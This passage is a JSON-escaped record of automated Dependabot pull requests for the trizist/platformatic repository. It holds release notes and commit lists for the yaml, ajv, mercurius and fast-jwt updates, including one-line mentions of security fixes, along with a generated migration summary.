(1e84ebb)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.8.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eSerialize -0 as -0 (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/638\"\u003e#638\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDo not double newlines for empty map values (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/642\"\u003e#642\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/ce14587484822bffb0f7d31aefedcaf2dc0d0387\"\u003e\u003ccode\u003ece14587\u003c/code\u003e\u003c/a\u003e 2.8.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b\"\u003e\u003ccode\u003e1e84ebb\u003c/code\u003e\u003c/a\u003e fix: Catch stack overflow during node composition\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/6b24090280eaaab5040112bba41ccef57f39c2d5\"\u003e\u003ccode\u003e6b24090\u003c/code\u003e\u003c/a\u003e ci: Include Prettier check in lint action\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/9424dee38c85163fad53ac27533c7c4bdaf7495d\"\u003e\u003ccode\u003e9424dee\u003c/code\u003e\u003c/a\u003e chore: Refresh lockfile\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/d1aca82bc15a4c261bdc58561d32189a5d3a45ef\"\u003e\u003ccode\u003ed1aca82\u003c/code\u003e\u003c/a\u003e Add trailingComma ToString option for multiline flow formatting (\u003ca href=\"https://redirect.github.com/eemeli/yaml/issues/670\"\u003e#670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/43215099f7fcdac422d778c15e70d83c691b0e41\"\u003e\u003ccode\u003e4321509\u003c/code\u003e\u003c/a\u003e ci: Drop the branch filter from GitHub PR actions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/47207d0fc7d4f863cd5fbdcff1378637bd93e847\"\u003e\u003ccode\u003e47207d0\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/5212faeed5936d1fa291d2f28672e4a96e2c2c5d\"\u003e\u003ccode\u003e5212fae\u003c/code\u003e\u003c/a\u003e chore: Update docs-slate\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/086fa6b5bae325da18734750cddee231ce578930\"\u003e\u003ccode\u003e086fa6b\u003c/code\u003e\u003c/a\u003e 2.8.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eemeli/yaml/commit/95f01e98032ddf199b42bb3ba0737303b35ef752\"\u003e\u003ccode\u003e95f01e9\u003c/code\u003e\u003c/a\u003e chore: Add funding to package.json\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eemeli/yaml/compare/v2.8.1...v2.8.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `ajv` from 8.17.1 to 8.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ajv-validator/ajv/releases\"\u003eajv's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: allow tree-shaking by adding \u003ccode\u003e\u0026quot;sideEffects\u0026quot;: false\u003c/code\u003e to \u003ccode\u003epackage.json\u003c/code\u003e by \u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null by \u003ca href=\"https://github.com/jasoniangreen\"\u003e\u003ccode\u003e@​jasoniangreen\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2487\"\u003eajv-validator/ajv#2487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: small grammatical error in managing-schemas.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: typos in schema-language.md by \u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2507\"\u003eajv-validator/ajv#2507\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(pattern): use configured RegExp engine with $data keyword to mitigate ReDoS attacks (CVE-2025-69873) by \u003ca href=\"https://github.com/epoberezkin\"\u003e\u003ccode\u003e@​epoberezkin\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2586\"\u003eajv-validator/ajv#2586\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/josdejong\"\u003e\u003ccode\u003e@​josdejong\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2480\"\u003eajv-validator/ajv#2480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/monteiro-renato\"\u003e\u003ccode\u003e@​monteiro-renato\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/pull/2508\"\u003eajv-validator/ajv#2508\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ehttps://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/142ce84b807c4fe66e619c22480a28d0e4bd50fa\"\u003e\u003ccode\u003e142ce84\u003c/code\u003e\u003c/a\u003e 8.18.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5\"\u003e\u003ccode\u003e720a23f\u003c/code\u003e\u003c/a\u003e fix(pattern): use configured RegExp engine with $data keyword to mitigate ReD...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/82735a15826a30cc51e97a1bbfb59b3d388e4b98\"\u003e\u003ccode\u003e82735a1\u003c/code\u003e\u003c/a\u003e fix: typos in schema-language.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2507\"\u003e#2507\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/b17ec32cd97542e90ae27231d8a8bce88b9e53b6\"\u003e\u003ccode\u003eb17ec32\u003c/code\u003e\u003c/a\u003e fix: small grammatical error in managing-schemas.md (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2508\"\u003e#2508\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/69568d08564303e2c32a2de61feb833b41075f96\"\u003e\u003ccode\u003e69568d0\u003c/code\u003e\u003c/a\u003e fix: \u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2482\"\u003e#2482\u003c/a\u003e Infinity and NaN serialise to null (\u003ca href=\"https://redirect.github.com/ajv-validator/ajv/issues/2487\"\u003e#2487\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ajv-validator/ajv/commit/f06766f33ed7291f84c19f22a1286a34475fbdaf\"\u003e\u003ccode\u003ef06766f\u003c/code\u003e\u003c/a\u003e feat: allow tree-shaking by adding ``\u0026quot;sideEffects\u0026quot;: false\u003ccode\u003eto\u003c/code\u003epackage.json` ...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ajv-validator/ajv/compare/v8.17.1...v8.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `mercurius` from 16.2.0 to 16.8.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/mercurius-js/mercurius/releases\"\u003emercurius's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev16.8.0\u003c/h2\u003e\n\u003ch2\u003e⚠️ Security Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixes \u0026quot;queryDepth limit bypassed for WebSocket subscriptions\u0026quot; \u003ca href=\"https://github.com/mercurius-js/mercurius/security/advisories/GHSA-m4h2-mjfm-mp55\"\u003ehttps://github.com/mercurius-js/mercurius/security/advisories/GHSA-m4h2-mjfm-mp55\u003c/a\u003e CVE-2026-30241\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore: remove tests-checker workflow by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1207\"\u003emercurius-js/mercurius#1207\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 6.1.0 to 6.2.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1208\"\u003emercurius-js/mercurius#1208\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.7.0...v16.8.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.7.0...v16.8.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.7.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1200\"\u003emercurius-js/mercurius#1200\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump \u003ccode\u003e@​fastify/static\u003c/code\u003e from 8.3.0 to 9.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1201\"\u003emercurius-js/mercurius#1201\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 5.0.0 to 6.1.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1203\"\u003emercurius-js/mercurius#1203\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps-dev): bump \u003ccode\u003e@​graphql-tools/utils\u003c/code\u003e from 10.11.0 to 11.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1204\"\u003emercurius-js/mercurius#1204\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update license by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1205\"\u003emercurius-js/mercurius#1205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: move borp to dev dependency by \u003ca href=\"https://github.com/stefanvanderwolf\"\u003e\u003ccode\u003e@​stefanvanderwolf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1206\"\u003emercurius-js/mercurius#1206\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echeck socket before awaiting subscription iterator by \u003ca href=\"https://github.com/NeoPhi\"\u003e\u003ccode\u003e@​NeoPhi\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1202\"\u003emercurius-js/mercurius#1202\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003edocs: add GQLoom integration documentation by \u003ca href=\"https://github.com/xcfox\"\u003e\u003ccode\u003e@​xcfox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1199\"\u003emercurius-js/mercurius#1199\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump actions/checkout from 5 to 6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1198\"\u003emercurius-js/mercurius#1198\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/stefanvanderwolf\"\u003e\u003ccode\u003e@​stefanvanderwolf\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1206\"\u003emercurius-js/mercurius#1206\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/NeoPhi\"\u003e\u003ccode\u003e@​NeoPhi\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1202\"\u003emercurius-js/mercurius#1202\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xcfox\"\u003e\u003ccode\u003e@​xcfox\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1199\"\u003emercurius-js/mercurius#1199\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.6.0...v16.7.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.6.0...v16.7.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.6.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add highwatermakr option to subscription queue by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1197\"\u003emercurius-js/mercurius#1197\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.5.0...v16.6.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.5.0...v16.6.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev16.5.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ebuild(deps): bump actions/setup-node from 4.4.0 to 5.0.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1188\"\u003emercurius-js/mercurius#1188\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: default subscription ws subprotocol by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1189\"\u003emercurius-js/mercurius#1189\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: remove tap and others update by \u003ca href=\"https://github.com/Tony133\"\u003e\u003ccode\u003e@​Tony133\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1183\"\u003emercurius-js/mercurius#1183\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump secure-json-parse from 3.0.2 to 4.1.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1190\"\u003emercurius-js/mercurius#1190\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: default ws subprotocol option by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1191\"\u003emercurius-js/mercurius#1191\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: subscription hooks on connection close and error by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1192\"\u003emercurius-js/mercurius#1192\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat: message id in subscription hooks by \u003ca href=\"https://github.com/simone-sanfratello\"\u003e\u003ccode\u003e@​simone-sanfratello\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/mercurius-js/mercurius/pull/1193\"\u003emercurius-js/mercurius#1193\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/mercurius-js/mercurius/compare/v16.3.0...v16.5.0\"\u003ehttps://github.com/mercurius-js/mercurius/compare/v16.3.0...v16.5.0\u003c/a\u003e\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-js/mercurius/commit/0e16af4fe2ba1a18d1e1193a94146feb794ddee0\"\u003e\u003ccode\u003e0e16af4\u003c/code\u003e\u003c/a\u003e Bumped v16.8.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-js/mercurius/commit/5b56f60f4b0d60780b0ff499a479bd830bdd6986\"\u003e\u003ccode\u003e5b56f60\u003c/code\u003e\u003c/a\u003e Merge commit from fork\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/mercurius-...\n\n_Description has been truncated_\n\n\u003c!-- This is an auto-generated description by cubic. --\u003e\n---\n## Summary by cubic\nUpdate deps across the monorepo to pick up security fixes and align on current majors. Highlights: `fastify@5.8.3`, `undici@6.24.0`/`7.24.0`, `mercurius@16.8.0`, `vite@6`, `@astrojs/node@10`, `fast-jwt@6`, and `astro@5.18.1`.\n\n- **Dependencies**\n  - Security patches: `fastify`, `@fastify/middie`, `undici`, `mercurius`\n  - Major upgrades: `vite@6`, `@astrojs/node@10`, `fast-jwt@6`\n  - Framework/dev bumps: `astro@5.18.1`, `@nestjs/core`, `@nestjs/platform-fastify`, `next`, `koa`\n  - Other libs: `ajv`, `yaml`\n\n- **Migration**\n  - `@astrojs/node@10`: remove `experimentalErrorPageHost` from adapter config; implement error page fetch in middleware if needed. If you used `experimentalStaticHeaders`, switch to `staticHeaders`.\n  - `vite@6`: review Vite v6 breaking changes if you have custom config or plugins.\n  - `fast-jwt@6`: verify sign/verify usage and types; adjust to any API changes.\n\n\u003csup\u003eWritten for commit 170043c3a6bd5425b30a849c1fd2fea0c969c013. Summary will update on new commits.\u003c/sup\u003e\n\n\u003c!-- End of auto-generated description by cubic. --\u003e\n\n","html_url":"https://github.com/trizist/platformatic/pull/29","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/trizist%2Fplatformatic/issues/29","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/29/packages"},{"uuid":"4224348148","node_id":"PR_kwDOQxc_5s7Qy92b","number":15,"state":"closed","title":"build(deps): bump fast-jwt from 6.1.0 to 6.2.0","user":"dependabot[bot]","labels":["dependencies","javascript"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-09T16:53:41.000Z","author_association":null,"state_reason":null,"created_at":"2026-04-08T12:03:55.000Z","updated_at":"2026-04-09T16:53:43.000Z","time_to_close":103786,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"build(deps)","packages":[{"name":"fast-jwt","old_version":"6.1.0","new_version":"6.2.0","repository_url":"https://github.com/nearform/fast-jwt"}],"path":null,"ecosystem":"npm"},"body":"Bumps [fast-jwt](https://github.com/nearform/fast-jwt) from 6.1.0 to 6.2.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nearform/fast-jwt/releases\"\u003efast-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.2.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/575\"\u003enearform/fast-jwt#575\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e by \u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix acceptance of unknown crit headers and comply with RFC 7515 by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: cache confusion risk with composite-key approach by \u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/587\"\u003enearform/fast-jwt#587\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dcs-soni\"\u003e\u003ccode\u003e@​dcs-soni\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/598\"\u003enearform/fast-jwt#598\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/antoatta85\"\u003e\u003ccode\u003e@​antoatta85\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/pull/591\"\u003enearform/fast-jwt#591\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ehttps://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/e07b1fd23f02a47f1be677a21a4f07607b478e66\"\u003e\u003ccode\u003ee07b1fd\u003c/code\u003e\u003c/a\u003e Release v6.2.0 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/599\"\u003e#599\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/de121056c6415b58770c60640881eaec67ac4ceb\"\u003e\u003ccode\u003ede12105\u003c/code\u003e\u003c/a\u003e fix: cache confusion risk with composite-key approach (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/587\"\u003e#587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/80b49c73cf708701e1e3da7c16ef735789cb269c\"\u003e\u003ccode\u003e80b49c7\u003c/code\u003e\u003c/a\u003e fix acceptance of unknown crit headers and comply with RFC 7515 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/591\"\u003e#591\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/597c4b6e6af3bd823f624debdaa7f57fa92b1e2d\"\u003e\u003ccode\u003e597c4b6\u003c/code\u003e\u003c/a\u003e fix: complete patch for GHSA-mvf2-f6gm-w987 and \u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/586\"\u003e#586\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/598\"\u003e#598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nearform/fast-jwt/commit/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa\"\u003e\u003ccode\u003e0ff14a6\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump \u003ccode\u003e@​types/node\u003c/code\u003e from 24.10.4 to 25.0.2 (\u003ca href=\"https://redirect.github.com/nearform/fast-jwt/issues/575\"\u003e#575\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/nearform/fast-jwt/compare/v6.1.0...v6.2.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=fast-jwt\u0026package-manager=npm_and_yarn\u0026previous-version=6.1.0\u0026new-version=6.2.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts 